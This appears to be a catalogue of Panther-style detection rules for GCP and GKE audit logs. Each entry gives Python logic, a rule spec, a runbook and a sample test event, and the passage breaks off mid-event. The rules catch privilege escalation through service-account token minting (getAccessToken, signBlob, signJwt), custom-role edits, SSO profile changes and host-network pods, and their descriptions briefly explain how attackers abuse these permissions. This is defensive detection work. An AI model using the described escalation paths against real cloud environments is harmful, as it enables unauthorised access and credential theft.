| Platform | Record / event type |
|---|---|
| GCP | any: iam.googleapis.com (any method) |
Detection logic
from panther_gcp_helpers import gcp_alert_context
def rule(event):
authorization_info = event.deep_walk("protoPayload", "authorizationInfo")
if not authorization_info:
return False
for auth in authorization_info:
if (
auth.get("permission") == "iam.serviceAccounts.getAccessToken"
and auth.get("granted") is True
):
return True
return False
def title(event):
actor = event.udm("actor_user")
operation = event.deep_get("protoPayload", "methodName", default="<OPERATION_NOT_FOUND>")
project_id = event.deep_get("resource", "labels", "project_id", default="<PROJECT_NOT_FOUND>")
return f"[GCP]: [{actor}] performed [{operation}] on project [{project_id}]"
def alert_context(event):
return gcp_alert_context(event)
Rule specification
AnalysisType: rule
Filename: gcp_iam_service_accounts_get_access_token_privilege_escalation.py
RuleID: "GCP.IAM.serviceAccounts.getAccessToken.Privilege.Escalation"
DisplayName: "GCP IAM serviceAccounts getAccessToken Privilege Escalation"
Enabled: true
LogTypes:
- GCP.AuditLog
Reports:
MITRE ATT&CK:
- TA0004:T1548
Severity: High
Description:
The Identity and Access Management (IAM) service manages authorization and authentication for a GCP environment.
This means that there are very likely multiple privilege escalation methods that use the IAM service and/or its permissions.
Reference: https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/
Stages and Predicates
Fires on GCP.AuditLog events when all of the conditions below hold.
Condition
protoPayload.authorizationInfois presentany element of
protoPayload.authorizationInfomatches all of:protoPayload.authorizationInfo.permissionisiam.serviceAccounts.getAccessTokenprotoPayload.authorizationInfo.grantedistrue
protoPayload.authorizationInfo.permissionisiam.serviceAccounts.getAccessToken
Indicators
These rows show field, operator, and value matches.
| Field | Kind | Values | Search |
|---|---|---|---|
protoPayload.authorizationInfo | is_not_null | field:"protoPayload.authorizationInfo" kind:is_not_null | |
protoPayload.authorizationInfo.permission | eq |
| field:"protoPayload.authorizationInfo.permission" kind:eq value:"iam.serviceAccounts.getAccessToken" |
Output fields
Fields the rule emits when it matches, drawn from the rule's alert_context.
| Field | Source |
|---|---|
project | resource.labels.project_id |
principal | protoPayload.authenticationInfo.principalEmail |
caller_ip | protoPayload.requestMetadata.callerIP |
methodName | protoPayload.methodName |
resourceName | protoPayload.resourceName |
serviceName | protoPayload.serviceName |
actor_user |
Worked example
A sample event from the rule's unit tests that triggers a match.Sample Test Event
{
"insertId": "1hu88qbef4d2o",
"logName": "projects/some-project/logs/cloudaudit.googleapis.com%2Fdata_access",
"p_log_type": "GCP.AuditLog",
"protoPayload": {
"@type": "type.googleapis.com/google.cloud.audit.AuditLog",
"authenticationInfo": {
"principalEmail": "some-project@company.iam.gserviceaccount.com",
"principalSubject": "serviceAccount:some-project@company.iam.gserviceaccount.com",
"serviceAccountKeyName": "//iam.googleapis.com/projects/some-project/serviceAccounts/some-project@company.iam.gserviceaccount.com/keys/a378358365ff3d22e9c1a72fecf4605ddff76b47"
},
"authorizationInfo": [
{
"granted": true,
"permission": "iam.serviceAccounts.getAccessToken",
"resourceAttributes": {}
}
],
"methodName": "SignJwt",
"request": {
"@type": "type.googleapis.com/google.iam.credentials.v1.SignJwtRequest",
"name": "projects/-/serviceAccounts/some-project@company.iam.gserviceaccount.com"
},
"requestMetadata": {
"callerIp": "1.2.3.4",
"destinationAttributes": {},
"requestAttributes": {
"auth": {},
"time": "2024-02-26T17:15:16.327542536Z"
}
},
"resourceName": "projects/-/serviceAccounts/114885146936855121342",
"serviceName": "iamcredentials.googleapis.com",
"status": {}
},
"receiveTimestamp": "2024-02-26T17:15:17.100020459Z",
"resource": {
"labels": {
"email_id": "some-project@company.iam.gserviceaccount.com",
"project_id": "some-project",
"unique_id": "114885146936855121342"
},
"type": "service_account"
},
"severity": "INFO",
"timestamp": "2024-02-26T17:15:16.314854637Z"
}
GCP IAM serviceAccounts signBlob
#The iam.serviceAccounts.signBlob permission "allows signing of arbitrary payloads" in GCP. This means we can create a signed blob that requests an access token from the Service Account we are targeting.
MITRE ATT&CK coverage
| Tactic | Techniques |
|---|---|
| Privilege Escalation |
Telemetry coverage
| Platform | Record / event type |
|---|---|
| GCP | any: iam.googleapis.com (any method) |
Detection logic
from panther_gcp_helpers import gcp_alert_context
def rule(event):
authorization_info = event.deep_walk("protoPayload", "authorizationInfo")
if not authorization_info:
return False
for auth in authorization_info:
if auth.get("permission") == "iam.serviceAccounts.signBlob" and auth.get("granted") is True:
return True
return False
def title(event):
actor = event.deep_get(
"protoPayload", "authenticationInfo", "principalEmail", default="<ACTOR_NOT_FOUND>"
)
operation = event.deep_get("protoPayload", "methodName", default="<OPERATION_NOT_FOUND>")
project_id = event.deep_get("resource", "labels", "project_id", default="<PROJECT_NOT_FOUND>")
return f"[GCP]: [{actor}] performed [{operation}] on project [{project_id}]"
def alert_context(event):
return gcp_alert_context(event)
Rule specification
AnalysisType: rule
Filename: gcp_iam_service_accounts_sign_blob.py
RuleID: "GCP.IAM.serviceAccounts.signBlob"
DisplayName: "GCP IAM serviceAccounts signBlob"
Enabled: true
LogTypes:
- GCP.AuditLog
Reports:
MITRE ATT&CK:
- TA0004:T1548
Severity: High
Description:
The iam.serviceAccounts.signBlob permission "allows signing of arbitrary payloads" in GCP.
This means we can create a signed blob that requests an access token from the Service Account we are targeting.
Reference: https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/
Stages and Predicates
Fires on GCP.AuditLog events when all of the conditions below hold.
Condition
protoPayload.authorizationInfois presentany element of
protoPayload.authorizationInfomatches all of:protoPayload.authorizationInfo.permissionisiam.serviceAccounts.signBlobprotoPayload.authorizationInfo.grantedistrue
protoPayload.authorizationInfo.permissionisiam.serviceAccounts.signBlob
Indicators
These rows show field, operator, and value matches.
| Field | Kind | Values | Search |
|---|---|---|---|
protoPayload.authorizationInfo | is_not_null | field:"protoPayload.authorizationInfo" kind:is_not_null | |
protoPayload.authorizationInfo.permission | eq |
| field:"protoPayload.authorizationInfo.permission" kind:eq value:"iam.serviceAccounts.signBlob" |
Output fields
Fields the rule emits when it matches, drawn from the rule's alert_context.
| Field | Source |
|---|---|
project | resource.labels.project_id |
principal | protoPayload.authenticationInfo.principalEmail |
caller_ip | protoPayload.requestMetadata.callerIP |
methodName | protoPayload.methodName |
resourceName | protoPayload.resourceName |
serviceName | protoPayload.serviceName |
Worked example
A sample event from the rule's unit tests that triggers a match.Sample Test Event
{
"insertId": "1hu88qbef4d2o",
"logName": "projects/some-project/logs/cloudaudit.googleapis.com%2Fdata_access",
"protoPayload": {
"@type": "type.googleapis.com/google.cloud.audit.AuditLog",
"authenticationInfo": {
"principalEmail": "some-project@company.iam.gserviceaccount.com",
"principalSubject": "serviceAccount:some-project@company.iam.gserviceaccount.com",
"serviceAccountKeyName": "//iam.googleapis.com/projects/some-project/serviceAccounts/some-project@company.iam.gserviceaccount.com/keys/a378358365ff3d22e9c1a72fecf4605ddff76b47"
},
"authorizationInfo": [
{
"granted": true,
"permission": "iam.serviceAccounts.signBlob",
"resourceAttributes": {}
}
],
"methodName": "SignJwt",
"request": {
"@type": "type.googleapis.com/google.iam.credentials.v1.SignJwtRequest",
"name": "projects/-/serviceAccounts/some-project@company.iam.gserviceaccount.com"
},
"requestMetadata": {
"callerIp": "1.2.3.4",
"destinationAttributes": {},
"requestAttributes": {
"auth": {},
"time": "2024-02-26T17:15:16.327542536Z"
}
},
"resourceName": "projects/-/serviceAccounts/114885146936855121342",
"serviceName": "iamcredentials.googleapis.com",
"status": {}
},
"receiveTimestamp": "2024-02-26T17:15:17.100020459Z",
"resource": {
"labels": {
"email_id": "some-project@company.iam.gserviceaccount.com",
"project_id": "some-project",
"unique_id": "114885146936855121342"
},
"type": "service_account"
},
"severity": "INFO",
"timestamp": "2024-02-26T17:15:16.314854637Z"
}
GCP IAM serviceAccounts.signJwt Privilege Escalation
#Detects iam.serviceAccounts.signJwt method for privilege escalation in GCP. This method works by signing well-formed JSON web tokens (JWTs). The script for this method will sign a well-formed JWT and request a new access token belonging to the Service Account with it.
MITRE ATT&CK coverage
| Tactic | Techniques |
|---|---|
| Privilege Escalation |
Telemetry coverage
Detection logic
from panther_gcp_helpers import gcp_alert_context
def rule(event):
if event.deep_get("protoPayload", "methodName") != "SignJwt":
return False
authorization_info = event.deep_walk("protoPayload", "authorizationInfo")
if not authorization_info:
return False
for auth in authorization_info:
if auth.get("permission") == "iam.serviceAccounts.signJwt" and auth.get("granted") is True:
return True
return False
def title(event):
actor = event.deep_get(
"protoPayload", "authenticationInfo", "principalEmail", default="<ACTOR_NOT_FOUND>"
)
operation = event.deep_get("protoPayload", "methodName", default="<OPERATION_NOT_FOUND>")
project_id = event.deep_get("resource", "labels", "project_id", default="<PROJECT_NOT_FOUND>")
return f"[GCP]: [{actor}] performed [{operation}] on project [{project_id}]"
def alert_context(event):
context = gcp_alert_context(event)
context["serviceAccountKeyName"] = event.deep_get(
"protoPayload", "authenticationInfo", "serviceAccountKeyName"
)
return context
Rule specification
AnalysisType: rule
Filename: gcp_iam_serviceaccounts_signjwt.py
RuleID: "GCP.IAM.serviceAccounts.signJwt.Privilege.Escalation"
DisplayName: "GCP IAM serviceAccounts.signJwt Privilege Escalation"
Enabled: true
LogTypes:
- GCP.AuditLog
Reports:
MITRE ATT&CK:
- TA0004:T1548
Severity: High
Description:
Detects iam.serviceAccounts.signJwt method for privilege escalation in GCP. This method works
by signing well-formed JSON web tokens (JWTs). The script for this method will sign a well-formed JWT and
request a new access token belonging to the Service Account with it.
Runbook:
These is not a vulnerability in GCP, this is a vulnerability in how you have configured your GCP environment,
so it is your responsibility to be aware of these attack vectors and to defend against them. Make sure
to follow the principle of least-privilege in your environments to help mitigate these security risks.
Reference: https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/
Stages and Predicates
Fires on GCP.AuditLog events when all of the conditions below hold.
Condition
protoPayload.methodNameisSignJwtprotoPayload.authorizationInfois presentany element of
protoPayload.authorizationInfomatches all of:protoPayload.authorizationInfo.permissionisiam.serviceAccounts.signJwtprotoPayload.authorizationInfo.grantedistrue
protoPayload.authorizationInfo.permissionisiam.serviceAccounts.signJwt
Indicators
These rows show field, operator, and value matches.
Output fields
Fields the rule emits when it matches, drawn from the rule's alert_context.
| Field | Source |
|---|---|
project | resource.labels.project_id |
principal | protoPayload.authenticationInfo.principalEmail |
caller_ip | protoPayload.requestMetadata.callerIP |
methodName | protoPayload.methodName |
resourceName | protoPayload.resourceName |
serviceName | protoPayload.serviceName |
Response runbook
These is not a vulnerability in GCP, this is a vulnerability in how you have configured your GCP environment, so it is your responsibility to be aware of these attack vectors and to defend against them. Make sure to follow the principle of least-privilege in your environments to help mitigate these security risks.
Worked example
A sample event from the rule's unit tests that triggers a match.Sample Test Event
{
"insertId": "1hu88qbef4d2o",
"logName": "projects/some-project/logs/cloudaudit.googleapis.com%2Fdata_access",
"protoPayload": {
"@type": "type.googleapis.com/google.cloud.audit.AuditLog",
"authenticationInfo": {
"principalEmail": "some-project@company.iam.gserviceaccount.com",
"principalSubject": "serviceAccount:some-project@company.iam.gserviceaccount.com",
"serviceAccountKeyName": "//iam.googleapis.com/projects/some-project/serviceAccounts/some-project@company.iam.gserviceaccount.com/keys/a378358365ff3d22e9c1a72fecf4605ddff76b47"
},
"authorizationInfo": [
{
"granted": true,
"permission": "iam.serviceAccounts.signJwt",
"resourceAttributes": {}
}
],
"methodName": "SignJwt",
"request": {
"@type": "type.googleapis.com/google.iam.credentials.v1.SignJwtRequest",
"name": "projects/-/serviceAccounts/some-project@company.iam.gserviceaccount.com"
},
"requestMetadata": {
"callerIp": "1.2.3.4",
"destinationAttributes": {},
"requestAttributes": {
"auth": {},
"time": "2024-02-26T17:15:16.327542536Z"
}
},
"resourceName": "projects/-/serviceAccounts/114885146936855121342",
"serviceName": "iamcredentials.googleapis.com",
"status": {}
},
"receiveTimestamp": "2024-02-26T17:15:17.100020459Z",
"resource": {
"labels": {
"email_id": "some-project@company.iam.gserviceaccount.com",
"project_id": "some-project",
"unique_id": "114885146936855121342"
},
"type": "service_account"
},
"severity": "INFO",
"timestamp": "2024-02-26T17:15:16.314854637Z"
}
GCP iam.roles.update Privilege Escalation
#If your user is assigned a custom IAM role, then iam.roles.update will allow you to update the “includedPermissons” on that role. Because it is assigned to you, you will gain the additional privileges, which could be anything you desire.
Telemetry coverage
| Platform | Record / event type |
|---|---|
| GCP | any: iam.googleapis.com (any method) |
Detection logic
from panther_gcp_helpers import gcp_alert_context
def rule(event):
authorization_info = event.deep_walk("protoPayload", "authorizationInfo")
if not authorization_info:
return False
for auth in authorization_info:
if auth.get("permission") == "iam.roles.update" and auth.get("granted") is True:
return True
return False
def title(event):
actor = event.deep_get(
"protoPayload", "authenticationInfo", "principalEmail", default="<ACTOR_NOT_FOUND>"
)
operation = event.deep_get("protoPayload", "methodName", default="<OPERATION_NOT_FOUND>")
project_id = event.deep_get("resource", "labels", "project_id", default="<PROJECT_NOT_FOUND>")
return f"[GCP]: [{actor}] performed [{operation}] on project [{project_id}]"
def alert_context(event):
return gcp_alert_context(event)
Rule specification
AnalysisType: rule
RuleID: "GCP.iam.roles.update.Privilege.Escalation"
DisplayName: "GCP iam.roles.update Privilege Escalation"
Description:
If your user is assigned a custom IAM role, then iam.roles.update will allow you to update
the “includedPermissons” on that role. Because it is assigned to you, you will gain the additional privileges,
which could be anything you desire.
Enabled: true
Filename: gcp_iam_roles_update_privilege_escalation.py
LogTypes:
- GCP.AuditLog
Tags:
- GCP
Severity: High
Reports:
TA0004:
- T1548
DedupPeriodMinutes: 60
Threshold: 1
Reference: https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/
Runbook:
Confirm this was authorized and necessary behavior. This is not a vulnerability in GCP, it is a vulnerability
in how GCP environment is configured, so it is necessary to be aware of these attack vectors and to defend against
them. It’s also important to remember that privilege escalation does not necessarily need to pass through the
IAM service to be effective. Make sure to follow the principle of least-privilege in your environments to help
mitigate these security risks.
Stages and Predicates
Fires on GCP.AuditLog events when all of the conditions below hold.
Condition
protoPayload.authorizationInfois presentany element of
protoPayload.authorizationInfomatches all of:protoPayload.authorizationInfo.permissionisiam.roles.updateprotoPayload.authorizationInfo.grantedistrue
protoPayload.authorizationInfo.permissionisiam.roles.update
Indicators
These rows show field, operator, and value matches.
Output fields
Fields the rule emits when it matches, drawn from the rule's alert_context.
| Field | Source |
|---|---|
project | resource.labels.project_id |
principal | protoPayload.authenticationInfo.principalEmail |
caller_ip | protoPayload.requestMetadata.callerIP |
methodName | protoPayload.methodName |
resourceName | protoPayload.resourceName |
serviceName | protoPayload.serviceName |
Response runbook
Confirm this was authorized and necessary behavior. This is not a vulnerability in GCP, it is a vulnerability in how GCP environment is configured, so it is necessary to be aware of these attack vectors and to defend against them. It’s also important to remember that privilege escalation does not necessarily need to pass through the IAM service to be effective. Make sure to follow the principle of least-privilege in your environments to help mitigate these security risks.
Worked example
A sample event from the rule's unit tests that triggers a match.Sample Test Event
{
"p_enrichment": null,
"protoPayload": {
"authorizationInfo": [
{
"granted": true,
"permission": "iam.roles.update",
"resource": "projects/some-research/roles/CustomRole",
"resourceAttributes": {}
}
]
}
}
GCP Inbound SSO Profile Created
#MITRE ATT&CK coverage
| Tactic | Techniques |
|---|---|
| Persistence | |
| Privilege Escalation |
Telemetry coverage
Detection logic
METHODS = [
"google.admin.AdminService.inboundSsoProfileCreated",
"google.admin.AdminService.inboundSsoProfileUpdated",
]
def rule(event):
return event.deep_get("protoPayload", "methodName", default="") in METHODS
def title(event):
actor = event.deep_get(
"protoPayload", "authenticationInfo", "principalEmail", default="<ACTOR_NOT_FOUND>"
)
event_name = event.deep_walk(
"protoPayload", "metadata", "event", "eventName", default="<EVENT_NAME_NOT_FOUND>"
)
resource = organization_id = event.deep_walk(
"protoPayload", "resourceName", default="<RESOURCE_NOT_FOUND>"
).split("/")
organization_id = resource[resource.index("organizations") + 1]
return f"GCP: [{actor}] performed {event_name} in organization {organization_id}"
def alert_context(event):
return {
"resourceName": event.deep_get(
"protoPayload", "resourceName", default="<RESOURCE_NOT_FOUND>"
),
"serviceName": event.deep_get("protoPayload", "serviceName", default="<SERVICE_NOT_FOUND>"),
}
Rule specification
AnalysisType: rule
Filename: gcp_inbound_sso_profile_created_or_updated.py
RuleID: "GCP.Inbound.SSO.Profile.Created"
DisplayName: "GCP Inbound SSO Profile Created"
Enabled: true
LogTypes:
- GCP.AuditLog
Tags:
- Account Manipulation
- Additional Cloud Roles
- GCP
- Privilege Escalation
Reports:
MITRE ATT&CK:
- TA0003:T1136.003
- TA0003:T1098.003
- TA0004:T1098.003
Severity: High
DedupPeriodMinutes: 60
Threshold: 1
Runbook: >
Ensure that the SSO profile creation or modification was expected. Adversaries may use this to persist or allow additional access or escalate their privilege.
Reference: https://medium.com/google-cloud/detection-of-inbound-sso-persistence-techniques-in-gcp-c56f7b2a588b
Stages and Predicates
Fires on GCP.AuditLog events when the condition below holds.
Condition
protoPayload.methodNameis one ofgoogle.admin.AdminService.inboundSsoProfileCreated,google.admin.AdminService.inboundSsoProfileUpdated
Indicators
These rows show field, operator, and value matches.
| Field | Kind | Values | Search |
|---|---|---|---|
protoPayload.methodName | in |
| field:"protoPayload.methodName" kind:in |
Output fields
Fields the rule emits when it matches, drawn from the rule's alert_context.
| Field | Source |
|---|---|
resourceName | protoPayload.resourceName |
serviceName | protoPayload.serviceName |
principalEmail | protoPayload.authenticationInfo.principalEmail |
eventName | protoPayload.metadata.event.eventName |
Response runbook
Ensure that the SSO profile creation or modification was expected. Adversaries may use this to persist or allow additional access or escalate their privilege.
Worked example
A sample event from the rule's unit tests that triggers a match.Sample Test Event
{
"insertId": "crpr6bdcjfg",
"logName": "organizations/123456789012/logs/cloudaudit.googleapis.com%2Factivity",
"protoPayload": {
"@type": "type.googleapis.com/google.cloud.audit.AuditLog",
"authenticationInfo": {
"principalEmail": "user@@example.com"
},
"metadata": {
"@type": "type.googleapis.com/ccc_hosted_reporting.ActivityProto",
"activityId": {
"timeUsec": "1700250956956215",
"uniqQualifier": "2009471038637356014"
},
"event": [
{
"eventId": "bdbc47ad",
"eventName": "INBOUND_SSO_PROFILE_UPDATED",
"eventType": "INBOUND_SSO_SETTINGS",
"parameter": [
{
"label": "LABEL_OPTIONAL",
"name": "INBOUND_SSO_PROFILE_CHANGES",
"type": "TYPE_STRING",
"value": "Display Name : { oldValue: Test Profile, newValue: Test Profile Update}"
},
{
"label": "LABEL_OPTIONAL",
"name": "INBOUND_SSO_PROFILE_NAME",
"type": "TYPE_STRING",
"value": "inboundSamlSsoProfiles/03vsz0843d02br4"
}
]
}
]
},
"methodName": "google.admin.AdminService.inboundSsoProfileUpdated",
"requestMetadata": {
"destinationAttributes": {},
"requestAttributes": {}
},
"resourceName": "organizations/123456789012/inboundSsoSettings",
"serviceName": "admin.googleapis.com"
},
"receiveTimestamp": "2023-11-17T19:55:57.417198068Z",
"resource": {
"labels": {
"method": "google.admin.AdminService.inboundSsoProfileUpdated",
"service": "admin.googleapis.com"
},
"type": "audited_resource"
},
"severity": "NOTICE",
"timestamp": "2023-11-17T19:55:56.956215Z"
}
GCP K8s IOCActivity
#This detection monitors for any kubernetes API Request originating from an Indicator of Compromise.
MITRE ATT&CK coverage
| Tactic | Techniques |
|---|---|
| Command & Control |
Detection logic
from panther_gcp_helpers import gcp_alert_context
def rule(event):
if event.deep_get("operation", "producer") == "k8s.io" and event.deep_get(
"p_enrichment", "tor_exit_nodes"
):
return True
return False
def title(event):
actor = event.deep_get(
"protoPayload", "authenticationInfo", "principalEmail", default="<ACTOR_NOT_FOUND>"
)
operation = event.deep_get("protoPayload", "methodName", default="<OPERATION_NOT_FOUND>")
project_id = event.deep_get("resource", "labels", "project_id", default="<PROJECT_NOT_FOUND>")
return f"[GCP]: [{actor}] performed [{operation}] on project [{project_id}]"
def alert_context(event):
context = gcp_alert_context(event)
context["tor_exit_nodes"] = event.deep_get("p_enrichment", "tor_exit_nodes")
return context
Rule specification
AnalysisType: rule
RuleID: "GCP.K8s.IOC.Activity"
DisplayName: "GCP K8s IOCActivity"
Enabled: false
Status: Deprecated
Filename: gcp_k8s_ioc_activity.py
LogTypes:
- GCP.AuditLog
Tags:
- Deprecated
- GCP
- Optional
- Encrypted Channel - Asymmetric Cryptography
- Command and Control
Severity: Medium
Description: This detection monitors for any kubernetes API Request originating from an Indicator of Compromise.
Reports:
MITRE ATT&CK:
- TA0011:T1573.002 # Encrypted Channel: Asymmetric Cryptography
Runbook: Add IP address the request is originated from to banned addresses.
Reference: https://medium.com/snowflake/from-logs-to-detection-using-snowflake-and-panther-to-detect-k8s-threats-d72f70a504d7
Stages and Predicates
Fires on GCP.AuditLog events when all of the conditions below hold.
Condition
operation.producerisk8s.iop_enrichment.tor_exit_nodesis present
Indicators
These rows show field, operator, and value matches.
| Field | Kind | Values | Search |
|---|---|---|---|
operation.producer | eq |
| field:"operation.producer" kind:eq value:"k8s.io" |
p_enrichment.tor_exit_nodes | is_not_null | field:"p_enrichment.tor_exit_nodes" kind:is_not_null |
Output fields
Fields the rule emits when it matches, drawn from the rule's alert_context.
| Field | Source |
|---|---|
project | resource.labels.project_id |
principal | protoPayload.authenticationInfo.principalEmail |
caller_ip | protoPayload.requestMetadata.callerIP |
methodName | protoPayload.methodName |
resourceName | protoPayload.resourceName |
serviceName | protoPayload.serviceName |
Response runbook
Add IP address the request is originated from to banned addresses.
Worked example
A sample event from the rule's unit tests that triggers a match.Sample Test Event
{
"operation": {
"producer": "k8s.io"
},
"p_enrichment": {
"tor_exit_nodes": [
"1.1.1.1"
]
}
}
GCP K8s New Daemonset Deployed
#Detects Daemonset creation in GCP Kubernetes clusters.
MITRE ATT&CK coverage
| Tactic | Techniques |
|---|---|
| Execution |
Detection logic
from panther_gcp_helpers import gcp_alert_context
def rule(event):
authorization_info = event.deep_walk("protoPayload", "authorizationInfo")
if not authorization_info:
return False
for auth in authorization_info:
if (
auth.get("permission") == "io.k8s.apps.v1.daemonsets.create"
and auth.get("granted") is True
):
return True
return False
def title(event):
actor = event.deep_get(
"protoPayload", "authenticationInfo", "principalEmail", default="<ACTOR_NOT_FOUND>"
)
operation = event.deep_get("protoPayload", "methodName", default="<OPERATION_NOT_FOUND>")
project_id = event.deep_get("resource", "labels", "project_id", default="<PROJECT_NOT_FOUND>")
return f"[GCP]: [{actor}] performed [{operation}] on project [{project_id}]"
def alert_context(event):
return gcp_alert_context(event)
Rule specification
AnalysisType: rule
RuleID: "GCP.K8s.New.Daemonset.Deployed"
DisplayName: "GCP K8s New Daemonset Deployed"
Description: "Detects Daemonset creation in GCP Kubernetes clusters."
Enabled: false
Status: Deprecated
Filename: gcp_k8s_new_daemonset_deployed.py
LogTypes:
- GCP.AuditLog
Severity: Medium
Tags:
- Deprecated
DedupPeriodMinutes: 60
Threshold: 1
Reference: https://medium.com/snowflake/from-logs-to-detection-using-snowflake-and-panther-to-detect-k8s-threats-d72f70a504d7
Runbook: Investigate a reason of creating Daemonset. Create ticket if appropriate.
Reports:
MITRE ATT&CK:
- TA0002:T1610 # Deploy Container
Stages and Predicates
Fires on GCP.AuditLog events when all of the conditions below hold.
Condition
protoPayload.authorizationInfois presentany element of
protoPayload.authorizationInfomatches all of:protoPayload.authorizationInfo.permissionisio.k8s.apps.v1.daemonsets.createprotoPayload.authorizationInfo.grantedistrue
protoPayload.authorizationInfo.permissionisio.k8s.apps.v1.daemonsets.create
Indicators
These rows show field, operator, and value matches.
| Field | Kind | Values | Search |
|---|---|---|---|
protoPayload.authorizationInfo | is_not_null | field:"protoPayload.authorizationInfo" kind:is_not_null | |
protoPayload.authorizationInfo.permission | eq |
| field:"protoPayload.authorizationInfo.permission" kind:eq value:"io.k8s.apps.v1.daemonsets.create" |
Output fields
Fields the rule emits when it matches, drawn from the rule's alert_context.
| Field | Source |
|---|---|
project | resource.labels.project_id |
principal | protoPayload.authenticationInfo.principalEmail |
caller_ip | protoPayload.requestMetadata.callerIP |
methodName | protoPayload.methodName |
resourceName | protoPayload.resourceName |
serviceName | protoPayload.serviceName |
Response runbook
Investigate a reason of creating Daemonset. Create ticket if appropriate.
Worked example
A sample event from the rule's unit tests that triggers a match.Sample Test Event
{
"protoPayload": {
"authorizationInfo": [
{
"granted": true,
"permission": "io.k8s.apps.v1.daemonsets.create"
}
],
"methodName": "v2.deploymentmanager.deployments.insert",
"serviceName": "deploymentmanager.googleapis.com"
},
"receiveTimestamp": "2024-01-19 13:47:19.465856238",
"resource": {
"labels": {
"name": "test-vm-deployment",
"project_id": "panther-threat-research"
},
"type": "deployment"
},
"severity": "NOTICE",
"timestamp": "2024-01-19 13:47:18.279921000"
}
GCP K8s Pod Attached To Node Host Network
#This detection monitor for the creation of pods which are attached to the host's network. This allows a pod to listen to all network traffic for all deployed computer on that particular node and communicate with other compute on the network namespace. Attackers can use this to capture secrets passed in arguments or connections.
MITRE ATT&CK coverage
| Tactic | Techniques |
|---|---|
| Privilege Escalation |
Telemetry coverage
| Platform | Record / event type |
|---|---|
| Kubernetes | create-pods: create pods |
| Kubernetes | update-pods: update pods |
| Kubernetes | patch-pods: patch pods |
Rules detecting the same action
These rules filter on the same operation.
- Attach/Exec Pod (Falco)
- Azure AKS Attempted User Exec into Pod (Elastic)
- Azure AKS Ephemeral Container Added to Pod (Elastic)
- Container With A hostPath Mount Created (Sigma)
- Create Disallowed Pod (Falco)
- Create HostIPC Pod (Falco)
- Create HostNetwork Pod (Falco)
- Create HostPid Pod (Falco)
Detection logic
from panther_gcp_helpers import gcp_alert_context, is_gke_system_namespace, is_gke_system_principal
def rule(event):
if event.deep_get("protoPayload", "methodName") not in (
"io.k8s.core.v1.pods.create",
"io.k8s.core.v1.pods.update",
"io.k8s.core.v1.pods.patch",
):
return False
host_network = event.deep_walk("protoPayload", "request", "spec", "hostNetwork")
if host_network is not True:
return False
# Check if this is a known GKE system service account
principal_email = event.deep_get(
"protoPayload", "authenticationInfo", "principalEmail", default=""
)
if is_gke_system_principal(principal_email):
return False
# Check if this is in a system namespace
resource_name = event.deep_get("protoPayload", "resourceName", default="")
if is_gke_system_namespace(resource_name):
return False
return True
def title(event):
actor = event.deep_get(
"protoPayload", "authenticationInfo", "principalEmail", default="<ACTOR_NOT_FOUND>"
)
project_id = event.deep_get("resource", "labels", "project_id", default="<PROJECT_NOT_FOUND>")
return (
f"[GCP]: [{actor}] created or modified pod which is attached to the host's network "
f"in project [{project_id}]"
)
def dedup(event):
actor = event.deep_get(
"protoPayload", "authenticationInfo", "principalEmail", default="<ACTOR_NOT_FOUND>"
)
return actor
def alert_context(event):
return gcp_alert_context(event)
Rule specification
AnalysisType: rule
RuleID: "GCP.K8s.Pod.Attached.To.Node.Host.Network"
DisplayName: "GCP K8s Pod Attached To Node Host Network"
Enabled: false
Status: Deprecated
Filename: gcp_k8s_pod_attached_to_node_host_network.py
LogTypes:
- GCP.AuditLog
Tags:
- Deprecated
- GCP
- Optional
Severity: Medium
Description:
This detection monitor for the creation of pods which are attached to the host's network.
This allows a pod to listen to all network traffic for all deployed computer on that particular node and
communicate with other compute on the network namespace. Attackers can use this to capture secrets passed in
arguments or connections.
Reports:
MITRE ATT&CK:
- TA0004:T1611 # Escape to Host
Runbook:
Investigate a reason of creating a pod which is attached to the host's network. Advise that it is discouraged
practice. Create ticket if appropriate.
Reference: https://medium.com/snowflake/from-logs-to-detection-using-snowflake-and-panther-to-detect-k8s-threats-d72f70a504d7
Stages and Predicates
Fires on GCP.AuditLog events when all of the conditions below hold.
Condition
protoPayload.methodNameis one ofio.k8s.core.v1.pods.create,io.k8s.core.v1.pods.update,io.k8s.core.v1.pods.patchprotoPayload.request.spec.hostNetworkistrueany of:
protoPayload.authenticationInfo.principalEmailis emptyall of:
protoPayload.authenticationInfo.principalEmaildoes not start withsystem:kube-controller-managerprotoPayload.authenticationInfo.principalEmaildoes not start withsystem:kube-schedulerprotoPayload.authenticationInfo.principalEmaildoes not start withsystem:addon-managerprotoPayload.authenticationInfo.principalEmaildoes not start withsystem:serviceaccount:kube-system:protoPayload.authenticationInfo.principalEmaildoes not start withsystem:serviceaccount:kube-public:protoPayload.authenticationInfo.principalEmaildoes not start withsystem:serviceaccount:kube-node-lease:protoPayload.authenticationInfo.principalEmaildoes not start withsystem:serviceaccount:gke-system:protoPayload.authenticationInfo.principalEmaildoes not start withsystem:serviceaccount:gke-managed-system:protoPayload.authenticationInfo.principalEmaildoes not start withsystem:serviceaccount:gmp-system:protoPayload.authenticationInfo.principalEmaildoes not start withsystem:serviceaccount:gmp-public:protoPayload.authenticationInfo.principalEmaildoes not start withsystem:serviceaccount:config-management-system:protoPayload.authenticationInfo.principalEmaildoes not start withsystem:serviceaccount:istio-system:protoPayload.authenticationInfo.principalEmaildoes not start withsystem:serviceaccount:asm-system:
protoPayload.resourceNameis empty
This rule also runs imperative logic the parser cannot express as a filter. The conditions above are the structured part it could extract.
Exclusions
The rule actively suppresses these predicates.
Indicators
These rows show field, operator, and value matches.
| Field | Kind | Values | Search |
|---|---|---|---|
protoPayload.methodName | in |
| field:"protoPayload.methodName" kind:in |
protoPayload.request.spec.hostNetwork | eq |
| field:"protoPayload.request.spec.hostNetwork" kind:eq value:"true" |
Output fields
Fields the rule emits when it matches, drawn from the rule's alert_context.
| Field | Source |
|---|---|
project | resource.labels.project_id |
principal | protoPayload.authenticationInfo.principalEmail |
caller_ip | protoPayload.requestMetadata.callerIP |
methodName | protoPayload.methodName |
resourceName | protoPayload.resourceName |
serviceName | protoPayload.serviceName |
Response runbook
Investigate a reason of creating a pod which is attached to the host's network. Advise that it is discouraged practice. Create ticket if appropriate.
Worked example
A sample event from the rule's unit tests that triggers a match.Sample Test Event
{
"authorizationInfo": [
{
"granted": true,
